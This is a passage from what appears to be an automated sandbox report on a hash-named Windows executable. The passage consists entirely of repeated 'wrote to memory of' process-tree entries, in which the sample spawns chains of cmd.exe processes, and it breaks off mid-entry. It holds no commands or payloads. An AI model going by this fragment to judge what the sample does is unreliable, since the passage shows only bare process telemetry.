507 PID 5968 wrote to memory of 5716 5968 cmd.exe 507 PID 1640 wrote to memory of 5832 1640 cmd.exe 508 PID 1640 wrote to memory of 5832 1640 cmd.exe 508 PID 1640 wrote to memory of 5832 1640 cmd.exe 508 PID 3800 wrote to memory of 5884 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 509 PID 3800 wrote to memory of 5884 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 509 PID 3800 wrote to memory of 5884 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 509 PID 5884 wrote to memory of 5204 5884 cmd.exe 511 PID 5884 wrote to memory of 5204 5884 cmd.exe 511 PID 5884 wrote to memory of 5204 5884 cmd.exe 511 PID 5884 wrote to memory of 5024 5884 cmd.exe 512 PID 5884 wrote to memory of 5024 5884 cmd.exe 512 PID 5884 wrote to memory of 5024 5884 cmd.exe 512 PID 5884 wrote to memory of 6048 5884 cmd.exe 513 PID 5884 wrote to memory of 6048 5884 cmd.exe 513 PID 5884 wrote to memory of 6048 5884 cmd.exe 513 PID 6048 wrote to memory of 6112 6048 cmd.exe 514 PID 6048 wrote to memory of 6112 6048 cmd.exe 514 PID 6048 wrote to memory of 6112 6048 cmd.exe 514 PID 5884 wrote to memory of 6136 5884 cmd.exe 515 PID 5884 wrote to memory of 6136 5884 cmd.exe 515 PID 5884 wrote to memory of 6136 5884 cmd.exe 515 PID 3800 wrote to memory of 5236 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 516 PID 3800 wrote to memory of 5236 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 516 PID 3800 wrote to memory of 5236 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 516 PID 5236 wrote to memory of 5324 5236 cmd.exe 518 PID 5236 wrote to memory of 5324 5236 cmd.exe 518 PID 5236 wrote to memory of 5324 5236 cmd.exe 518 PID 5236 wrote to memory of 6120 5236 cmd.exe 519 PID 5236 wrote to memory of 6120 5236 cmd.exe 519 PID 5236 wrote to memory of 6120 5236 cmd.exe 519 PID 5236 wrote to memory of 5128 5236 cmd.exe 520 PID 5236 wrote to memory of 5128 5236 cmd.exe 520 PID 5236 wrote to memory of 5128 5236 cmd.exe 520 PID 5128 wrote to memory of 5560 5128 cmd.exe 521 PID 5128 wrote to memory of 5560 5128 cmd.exe 521 PID 5128 wrote to memory of 5560 5128 cmd.exe 521 PID 5236 wrote to memory of 5388 5236 cmd.exe 522 PID 5236 wrote to memory of 5388 5236 cmd.exe 522 PID 5236 wrote to memory of 5388 5236 cmd.exe 522 PID 3800 wrote to memory of 5728 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 523 PID 3800 wrote to memory of 5728 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 523 PID 3800 wrote to memory of 5728 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 523 PID 5728 wrote to memory of 6140 5728 cmd.exe 525 PID 5728 wrote to memory of 6140 5728 cmd.exe 525 PID 5728 wrote to memory of 6140 5728 cmd.exe 525 PID 5728 wrote to memory of 5528 5728 cmd.exe 526 PID 5728 wrote to memory of 5528 5728 cmd.exe 526 PID 5728 wrote to memory of 5528 5728 cmd.exe 526 PID 5728 wrote to memory of 5756 5728 cmd.exe 527 PID 5728 wrote to memory of 5756 5728 cmd.exe 527 PID 5728 wrote to memory of 5756 5728 cmd.exe 527 PID 5756 wrote to memory of 5556 5756 cmd.exe 528 PID 5756 wrote to memory of 5556 5756 cmd.exe 528 PID 5756 wrote to memory of 5556 5756 cmd.exe 528 PID 5728 wrote to memory of 5644 5728 cmd.exe 529 PID 5728 wrote to memory of 5644 5728 cmd.exe 529 PID 5728 wrote to memory of 5644 5728 cmd.exe 529 PID 3800 wrote to memory of 6056 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 530 PID 3800 wrote to memory of 6056 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 530 PID 3800 wrote to memory of 6056 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 530 PID 6056 wrote to memory of 5848 6056 cmd.exe 532 PID 6056 wrote to memory of 5848 6056 cmd.exe 532 PID 6056 wrote to memory of 5848 6056 cmd.exe 532 PID 6056 wrote to memory of 6124 6056 cmd.exe 533 PID 6056 wrote to memory of 6124 6056 cmd.exe 533 PID 6056 wrote to memory of 6124 6056 cmd.exe 533 PID 6056 wrote to memory of 5020 6056 cmd.exe 534 PID 6056 wrote to memory of 5020 6056 cmd.exe 534 PID 6056 wrote to memory of 5020 6056 cmd.exe 534 PID 5020 wrote to memory of 6036 5020 cmd.exe 535 PID 5020 wrote to memory of 6036 5020 cmd.exe 535 PID 5020 wrote to memory of 6036 5020 cmd.exe 535 PID 6056 wrote to memory of 6020 6056 cmd.exe 536 PID 6056 wrote to memory of 6020 6056 cmd.exe 536 PID 6056 wrote to memory of 6020 6056 cmd.exe 536 PID 3800 wrote to memory of 5948 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 537 PID 3800 wrote to memory of 5948 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 537 PID 3800 wrote to memory of 5948 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 537 PID 5948 wrote to memory of 5180 5948 cmd.exe 539 PID 5948 wrote to memory of 5180 5948 cmd.exe 539 PID 5948 wrote to memory of 5180 5948 cmd.exe 539 PID 5948 wrote to memory of 5548 5948 cmd.exe 540 PID 5948 wrote to memory of 5548 5948 cmd.exe 540 PID 5948 wrote to memory of 5548 5948 cmd.exe 540 PID 5948 wrote to memory of 5632 5948 cmd.exe 541 PID 5948 wrote to memory of 5632 5948 cmd.exe 541 PID 5948 wrote to memory of 5632 5948 cmd.exe 541 PID 5632 wrote to memory of 5296 5632 cmd.exe 542 PID 5632 wrote to memory of 5296 5632 cmd.exe 542 PID 5632 wrote to memory of 5296 5632 cmd.exe 542 PID 5948 wrote to memory of 5332 5948 cmd.exe 543 PID 5948 wrote to memory of 5332 5948 cmd.exe 543 PID 5948 wrote to memory of 5332 5948 cmd.exe 543 PID 3800 wrote to memory of 5244 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 544 PID 3800 wrote to memory of 5244 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 544 PID 3800 wrote to memory of 5244 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 544 PID 5244 wrote to memory of 5708 5244 cmd.exe 546 PID 5244 wrote to memory of 5708 5244 cmd.exe 546 PID 5244 wrote to memory of 5708 5244 cmd.exe 546 PID 5244 wrote to memory of 5836 5244 cmd.exe 547 PID 5244 wrote to memory of 5836 5244 cmd.exe 547 PID 5244 wrote to memory of 5836 5244 cmd.exe 547 PID 5244 wrote to memory of 5452 5244 cmd.exe 548 PID 5244 wrote to memory of 5452 5244 cmd.exe 548 PID 5244 wrote to memory of 5452 5244 cmd.exe 548 PID 5452 wrote to memory of 5580 5452 cmd.exe 549 PID 5452 wrote to memory of 5580 5452 cmd.exe 549 PID 5452 wrote to memory of 5580 5452 cmd.exe 549 PID 5244 wrote to memory of 636 5244 cmd.exe 550 PID 5244 wrote to memory of 636 5244 cmd.exe 550 PID 5244 wrote to memory of 636 5244 cmd.exe 550 PID 3800 wrote to memory of 3656 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 551 PID 3800 wrote to memory of 3656 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 551 PID 3800 wrote to memory of 3656 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 551 PID 3656 wrote to memory of 5808 3656 cmd.exe 553 PID 3656 wrote to memory of 5808 3656 cmd.exe 553 PID 3656 wrote to memory of 5808 3656 cmd.exe 553 PID 3656 wrote to memory of 5524 3656 cmd.exe 554 PID 3656 wrote to memory of 5524 3656 cmd.exe 554 PID 3656 wrote to memory of 5524 3656 cmd.exe 554 PID 3656 wrote to memory of 5908 3656 cmd.exe 555 PID 3656 wrote to memory of 5908 3656 cmd.exe 555 PID 3656 wrote to memory of 5908 3656 cmd.exe 555 PID 5908 wrote to memory of 5988 5908 cmd.exe 556 PID 5908 wrote to memory of 5988 5908 cmd.exe 556 PID 5908 wrote to memory of 5988 5908 cmd.exe 556 PID 3656 wrote to memory of 5640 3656 cmd.exe 557 PID 3656 wrote to memory of 5640 3656 cmd.exe 557 PID 3656 wrote to memory of 5640 3656 cmd.exe 557 PID 3800 wrote to memory of 3648 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 558 PID 3800 wrote to memory of 3648 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 558 PID 3800 wrote to memory of 3648 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 558 PID 3648 wrote to memory of 5972 3648 cmd.exe 560 PID 3648 wrote to memory of 5972 3648 cmd.exe 560 PID 3648 wrote to memory of 5972 3648 cmd.exe 560 PID 3648 wrote to memory of 5432 3648 cmd.exe 561 PID 3648 wrote to memory of 5432 3648 cmd.exe 561 PID 3648 wrote to memory of 5432 3648 cmd.exe 561 PID 3648 wrote to memory of 5616 3648 cmd.exe 562 PID 3648 wrote to memory of 5616 3648 cmd.exe 562 PID 3648 wrote to memory of 5616 3648 cmd.exe 562 PID 5616 wrote to memory of 5996 5616 cmd.exe 563 PID 5616 wrote to memory of 5996 5616 cmd.exe 563 PID 5616 wrote to memory of 5996 5616 cmd.exe 563 PID 3648 wrote to memory of 4144 3648 cmd.exe 564 PID 3648 wrote to memory of 4144 3648 cmd.exe 564 PID 3648 wrote to memory of 4144 3648 cmd.exe 564 PID 3800 wrote to memory of 5212 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 565 PID 3800 wrote to memory of 5212 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 565 PID 3800 wrote to memory of 5212 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 565 PID 5212 wrote to memory of 5944 5212 cmd.exe 567 PID 5212 wrote to memory of 5944 5212 cmd.exe 567 PID 5212 wrote to memory of 5944 5212 cmd.exe 567 PID 5212 wrote to memory of 5920 5212 cmd.exe 568 PID 5212 wrote to memory of 5920 5212 cmd.exe 568 PID 5212 wrote to memory of 5920 5212 cmd.exe 568 PID 5212 wrote to memory of 5536 5212 cmd.exe 569 PID 5212 wrote to memory of 5536 5212 cmd.exe 569 PID 5212 wrote to memory of 5536 5212 cmd.exe 569 PID 5536 wrote to memory of 5592 5536 cmd.exe 570 PID 5536 wrote to memory of 5592 5536 cmd.exe 570 PID 5536 wrote to memory of 5592 5536 cmd.exe 570 PID 5212 wrote to memory of 5268 5212 cmd.exe 571 PID 5212 wrote to memory of 5268 5212 cmd.exe 571 PID 5212 wrote to memory of 5268 5212 cmd.exe 571 PID 3800 wrote to memory of 5016 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 572 PID 3800 wrote to memory of 5016 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 572 PID 3800 wrote to memory of 5016 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 572 PID 5016 wrote to memory of 5960 5016 cmd.exe 574 PID 5016 wrote to memory of 5960 5016 cmd.exe 574 PID 5016 wrote to memory of 5960 5016 cmd.exe 574 PID 5016 wrote to memory of 6052 5016 cmd.exe 575 PID 5016 wrote to memory of 6052 5016 cmd.exe 575 PID 5016 wrote to memory of 6052 5016 cmd.exe 575 PID 5016 wrote to memory of 5816 5016 cmd.exe 576 PID 5016 wrote to memory of 5816 5016 cmd.exe 576 PID 5016 wrote to memory of 5816 5016 cmd.exe 576 PID 5816 wrote to memory of 5516 5816 cmd.exe 577 PID 5816 wrote to memory of 5516 5816 cmd.exe 577 PID 5816 wrote to memory of 5516 5816 cmd.exe 577 PID 5016 wrote to memory of 5512 5016 cmd.exe 578 PID 5016 wrote to memory of 5512 5016 cmd.exe 578 PID 5016 wrote to memory of 5512 5016 cmd.exe 578 PID 3800 wrote to memory of 5508 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 579 PID 3800 wrote to memory of 5508 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 579 PID 3800 wrote to memory of 5508 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 579 PID 5508 wrote to memory of 5564 5508 cmd.exe 581 PID 5508 wrote to memory of 5564 5508 cmd.exe 581 PID 5508 wrote to memory of 5564 5508 cmd.exe 581 PID 5508 wrote to memory of 5764 5508 cmd.exe 582 PID 5508 wrote to memory of 5764 5508 cmd.exe 582 PID 5508 wrote to memory of 5764 5508 cmd.exe 582 PID 5508 wrote to memory of 6096 5508 cmd.exe 583 PID 5508 wrote to memory of 6096 5508 cmd.exe 583 PID 5508 wrote to memory of 6096 5508 cmd.exe 583 PID 6096 wrote to memory of 5992 6096 cmd.exe 584 PID 6096 wrote to memory of 5992 6096 cmd.exe 584 PID 6096 wrote to memory of 5992 6096 cmd.exe 584 PID 5508 wrote to memory of 5156 5508 cmd.exe 585 PID 5508 wrote to memory of 5156 5508 cmd.exe 585 PID 5508 wrote to memory of 5156 5508 cmd.exe 585 PID 3800 wrote to memory of 5256 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 586 PID 3800 wrote to memory of 5256 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 586 PID 3800 wrote to memory of 5256 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 586 PID 5256 wrote to memory of 6084 5256 cmd.exe 588 PID 5256 wrote to memory of 6084 5256 cmd.exe 588 PID 5256 wrote to memory of 6084 5256 cmd.exe 588 PID 5256 wrote to memory of 5480 5256 cmd.exe 589 PID 5256 wrote to memory of 5480 5256 cmd.exe 589 PID 5256 wrote to memory of 5480 5256 cmd.exe 589 PID 5256 wrote to memory of 5136 5256 cmd.exe 590 PID 5256 wrote to memory of 5136 5256 cmd.exe 590 PID 5256 wrote to memory of 5136 5256 cmd.exe 590 PID 5136 wrote to memory of 5356 5136 cmd.exe 591 PID 5136 wrote to memory of 5356 5136 cmd.exe 591 PID 5136 wrote to memory of 5356 5136 cmd.exe 591 PID 5256 wrote to memory of 5336 5256 cmd.exe 592 PID 5256 wrote to memory of 5336 5256 cmd.exe 592 PID 5256 wrote to memory of 5336 5256 cmd.exe 592 PID 3800 wrote to memory of 6076 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 593 PID 3800 wrote to memory of 6076 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 593 PID 3800 wrote to memory of 6076 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 593 PID 6076 wrote to memory of 5404 6076 cmd.exe 595 PID 6076 wrote to memory of 5404 6076 cmd.exe 595 PID 6076 wrote to memory of 5404 6076 cmd.exe 595 PID 6076 wrote to memory of 5008 6076 cmd.exe 596 PID 6076 wrote to memory of 5008 6076 cmd.exe 596 PID 6076 wrote to memory of 5008 6076 cmd.exe 596 PID 6076 wrote to memory of 5896 6076 cmd.exe 597 PID 6076 wrote to memory of 5896 6076 cmd.exe 597 PID 6076 wrote to memory of 5896 6076 cmd.exe 597 PID 5896 wrote to memory of 5276 5896 cmd.exe 598 PID 5896 wrote to memory of 5276 5896 cmd.exe 598 PID 5896 wrote to memory of 5276 5896 cmd.exe 598 PID 6076 wrote to memory of 5940 6076 cmd.exe 599 PID 6076 wrote to memory of 5940 6076 cmd.exe 599 PID 6076 wrote to memory of 5940 6076 cmd.exe 599 PID 3800 wrote to memory of 2840 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 600 PID 3800 wrote to memory of 2840 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 600 PID 3800 wrote to memory of 2840 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 600 PID 2840 wrote to memory of 5668 2840 cmd.exe 602 PID 2840 wrote to memory of 5668 2840 cmd.exe 602 PID 2840 wrote to memory of 5668 2840 cmd.exe 602 PID 2840 wrote to memory of 5600 2840 cmd.exe 603 PID 2840 wrote to memory of 5600 2840 cmd.exe 603 PID 2840 wrote to memory of 5600 2840 cmd.exe 603 PID 2840 wrote to memory of 5828 2840 cmd.exe 604 PID 2840 wrote to memory of 5828 2840 cmd.exe 604 PID 2840 wrote to memory of 5828 2840 cmd.exe 604 PID 5828 wrote to memory of 5460 5828 cmd.exe 605 PID 5828 wrote to memory of 5460 5828 cmd.exe 605 PID 5828 wrote to memory of 5460 5828 cmd.exe 605 PID 2840 wrote to memory of 5328 2840 cmd.exe 606 PID 2840 wrote to memory of 5328 2840 cmd.exe 606 PID 2840 wrote to memory of 5328 2840 cmd.exe 606 PID 3800 wrote to memory of 4520 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 607 PID 3800 wrote to memory of 4520 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 607 PID 3800 wrote to memory of 4520 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 607 PID 4520 wrote to memory of 5880 4520 cmd.exe 609 PID 4520 wrote to memory of 5880 4520 cmd.exe 609 PID 4520 wrote to memory of 5880 4520 cmd.exe 609 PID 4520 wrote to memory of 5904 4520 cmd.exe 610 PID 4520 wrote to memory of 5904 4520 cmd.exe 610 PID 4520 wrote to memory of 5904 4520 cmd.exe 610 PID 4520 wrote to memory of 4916 4520 cmd.exe 611 PID 4520 wrote to memory of 4916 4520 cmd.exe 611 PID 4520 wrote to memory of 4916 4520 cmd.exe 611 PID 4916 wrote to memory of 5360 4916 cmd.exe 612 PID 4916 wrote to memory of 5360 4916 cmd.exe 612 PID 4916 wrote to memory of 5360 4916 cmd.exe 612 PID 4520 wrote to memory of 5744 4520 cmd.exe 613 PID 4520 wrote to memory of 5744 4520 cmd.exe 613 PID 4520 wrote to memory of 5744 4520 cmd.exe 613 PID 3800 wrote to memory of 5688 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 614 PID 3800 wrote to memory of 5688 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 614 PID 3800 wrote to memory of 5688 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 614 PID 5688 wrote to memory of 5712 5688 cmd.exe 616 PID 5688 wrote to memory of 5712 5688 cmd.exe 616 PID 5688 wrote to memory of 5712 5688 cmd.exe 616 PID 5688 wrote to memory of 5224 5688 cmd.exe 617 PID 5688 wrote to memory of 5224 5688 cmd.exe 617 PID 5688 wrote to memory of 5224 5688 cmd.exe 617 PID 5688 wrote to memory of 5380 5688 cmd.exe 618 PID 5688 wrote to memory of 5380 5688 cmd.exe 618 PID 5688 wrote to memory of 5380 5688 cmd.exe 618 PID 5380 wrote to memory of 6132 5380 cmd.exe 619 PID 5380 wrote to memory of 6132 5380 cmd.exe 619 PID 5380 wrote to memory of 6132 5380 cmd.exe 619 PID 5688 wrote to memory of 5228 5688 cmd.exe 620 PID 5688 wrote to memory of 5228 5688 cmd.exe 620 PID 5688 wrote to memory of 5228 5688 cmd.exe 620 PID 3800 wrote to memory of 6016 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 621 PID 3800 wrote to memory of 6016 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 621 PID 3800 wrote to memory of 6016 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 621 PID 6016 wrote to memory of 5200 6016 cmd.exe 623 PID 6016 wrote to memory of 5200 6016 cmd.exe 623 PID 6016 wrote to memory of 5200 6016 cmd.exe 623 PID 6016 wrote to memory of 5924 6016 cmd.exe 624 PID 6016 wrote to memory of 5924 6016 cmd.exe 624 PID 6016 wrote to memory of 5924 6016 cmd.exe 624 PID 6016 wrote to memory of 5312 6016 cmd.exe 625 PID 6016 wrote to memory of 5312 6016 cmd.exe 625 PID 6016 wrote to memory of 5312 6016 cmd.exe 625 PID 5312 wrote to memory of 6012 5312 cmd.exe 626 PID 5312 wrote to memory of 6012 5312 cmd.exe 626 PID 5312 wrote to memory of 6012 5312 cmd.exe 626 PID 6016 wrote to memory of 5852 6016 cmd.exe 627 PID 6016 wrote to memory of 5852 6016 cmd.exe 627 PID 6016 wrote to memory of 5852 6016 cmd.exe 627 PID 3800 wrote to memory of 6116 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 628 PID 3800 wrote to memory of 6116 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 628 PID 3800 wrote to memory of 6116 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 628 PID 6116 wrote to memory of 6072 6116 cmd.exe 630 PID 6116 wrote to memory of 6072 6116 cmd.exe 630 PID 6116 wrote to memory of 6072 6116 cmd.exe 630 PID 6116 wrote to memory of 5676 6116 cmd.exe 631 PID 6116 wrote to memory of 5676 6116 cmd.exe 631 PID 6116 wrote to memory of 5676 6116 cmd.exe 631 PID 6116 wrote to memory of 740 6116 cmd.exe 632 PID 6116 wrote to memory of 740 6116 cmd.exe 632 PID 6116 wrote to memory of 740 6116 cmd.exe 632 PID 740 wrote to memory of 5140 740 cmd.exe 633 PID 740 wrote to memory of 5140 740 cmd.exe 633 PID 740 wrote to memory of 5140 740 cmd.exe 633 PID 6116 wrote to memory of 5448 6116 cmd.exe 634 PID 6116 wrote to memory of 5448 6116 cmd.exe 634 PID 6116 wrote to memory of 5448 6116 cmd.exe 634 PID 3800 wrote to memory of 5984 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 635 PID 3800 wrote to memory of 5984 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 635 PID 3800 wrote to memory of 5984 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 635 PID 5984 wrote to memory of 5412 5984 cmd.exe 637 PID 5984 wrote to memory of 5412 5984 cmd.exe 637 PID 5984 wrote to memory of 5412 5984 cmd.exe 637 PID 5984 wrote to memory of 5532 5984 cmd.exe 638 PID 5984 wrote to memory of 5532 5984 cmd.exe 638 PID 5984 wrote to memory of 5532 5984 cmd.exe 638 PID 5984 wrote to memory of 5980 5984 cmd.exe 639 PID 5984 wrote to memory of 5980 5984 cmd.exe 639 PID 5984 wrote to memory of 5980 5984 cmd.exe 639 PID 5980 wrote to memory of 5692 5980 cmd.exe 640 PID 5980 wrote to memory of 5692 5980 cmd.exe 640 PID 5980 wrote to memory of 5692 5980 cmd.exe 640 PID 5984 wrote to memory of 6164 5984 cmd.exe 641 PID 5984 wrote to memory of 6164 5984 cmd.exe 641 PID 5984 wrote to memory of 6164 5984 cmd.exe 641 PID 3800 wrote to memory of 6188 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 642 PID 3800 wrote to memory of 6188 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 642 PID 3800 wrote to memory of 6188 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 642 PID 6188 wrote to memory of 6236 6188 cmd.exe 644 PID 6188 wrote to memory of 6236 6188 cmd.exe 644 PID 6188 wrote to memory of 6236 6188 cmd.exe 644 PID 6188 wrote to memory of 6256 6188 cmd.exe 645 PID 6188 wrote to memory of 6256 6188 cmd.exe 645 PID 6188 wrote to memory of 6256 6188 cmd.exe 645 PID 6188 wrote to memory of 6276 6188 cmd.exe 646 PID 6188 wrote to memory of 6276 6188 cmd.exe 646 PID 6188 wrote to memory of 6276 6188 cmd.exe 646 PID 6276 wrote to memory of 6292 6276 cmd.exe 647 PID 6276 wrote to memory of 6292 6276 cmd.exe 647 PID 6276 wrote to memory of 6292 6276 cmd.exe 647 PID 6188 wrote to memory of 6316 6188 cmd.exe 648 PID 6188 wrote to memory of 6316 6188 cmd.exe 648 PID 6188 wrote to memory of 6316 6188 cmd.exe 648 PID 3800 wrote to memory of 6340 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 649 PID 3800 wrote to memory of 6340 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 649 PID 3800 wrote to memory of 6340 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 649 PID 6340 wrote to memory of 6388 6340 cmd.exe 651 PID 6340 wrote to memory of 6388 6340 cmd.exe 651 PID 6340 wrote to memory of 6388 6340 cmd.exe 651 PID 6340 wrote to memory of 6408 6340 cmd.exe 652 PID 6340 wrote to memory of 6408 6340 cmd.exe 652 PID 6340 wrote to memory of 6408 6340 cmd.exe 652 PID 6340 wrote to memory of 6428 6340 cmd.exe 653 PID 6340 wrote to memory of 6428 6340 cmd.exe 653 PID 6340 wrote to memory of 6428 6340 cmd.exe 653 PID 6428 wrote to memory of 6444 6428 cmd.exe 654 PID 6428 wrote to memory of 6444 6428 cmd.exe 654 PID 6428 wrote to memory of 6444 6428 cmd.exe 654 PID 6340 wrote to memory of 6468 6340 cmd.exe 655 PID 6340 wrote to memory of 6468 6340 cmd.exe 655 PID 6340 wrote to memory of 6468 6340 cmd.exe 655 PID 3800 wrote to memory of 6492 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 656 PID 3800 wrote to memory of 6492 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 656 PID 3800 wrote to memory of 6492 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 656 PID 6492 wrote to memory of 6540 6492 cmd.exe 658 PID 6492 wrote to memory of 6540 6492 cmd.exe 658 PID 6492 wrote to memory of 6540 6492 cmd.exe 658 PID 6492 wrote to memory of 6560 6492 cmd.exe 659 PID 6492 wrote to memory of 6560 6492 cmd.exe 659 PID 6492 wrote to memory of 6560 6492 cmd.exe 659 PID 6492 wrote to memory of 6580 6492 cmd.exe 660 PID 6492 wrote to memory of 6580 6492 cmd.exe 660 PID 6492 wrote to memory of 6580 6492 cmd.exe 660 PID 6580 wrote to memory of 6596 6580 cmd.exe 661 PID 6580 wrote to memory of 6596 6580 cmd.exe 661 PID 6580 wrote to memory of 6596 6580 cmd.exe 661 PID 6492 wrote to memory of 6620 6492 cmd.exe 662 PID 6492 wrote to memory of 6620 6492 cmd.exe 662 PID 6492 wrote to memory of 6620 6492 cmd.exe 662 PID 3800 wrote to memory of 6644 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 663 PID 3800 wrote to memory of 6644 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 663 PID 3800 wrote to memory of 6644 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 663 PID 6644 wrote to memory of 6692 6644 cmd.exe 665 PID 6644 wrote to memory of 6692 6644 cmd.exe 665 PID 6644 wrote to memory of 6692 6644 cmd.exe 665 PID 6644 wrote to memory of 6716 6644 cmd.exe 666 PID 6644 wrote to memory of 6716 6644 cmd.exe 666 PID 6644 wrote to memory of 6716 6644 cmd.exe 666 PID 6644 wrote to memory of 6736 6644 cmd.exe 667 PID 6644 wrote to memory of 6736 6644 cmd.exe 667 PID 6644 wrote to memory of 6736 6644 cmd.exe 667 PID 6736 wrote to memory of 6752 6736 cmd.exe 668 PID 6736 wrote to memory of 6752 6736 cmd.exe 668 PID 6736 wrote to memory of 6752 6736 cmd.exe 668 PID 6644 wrote to memory of 6776 6644 cmd.exe 669 PID 6644 wrote to memory of 6776 6644 cmd.exe 669 PID 6644 wrote to memory of 6776 6644 cmd.exe 669 PID 3800 wrote to memory of 6800 3800 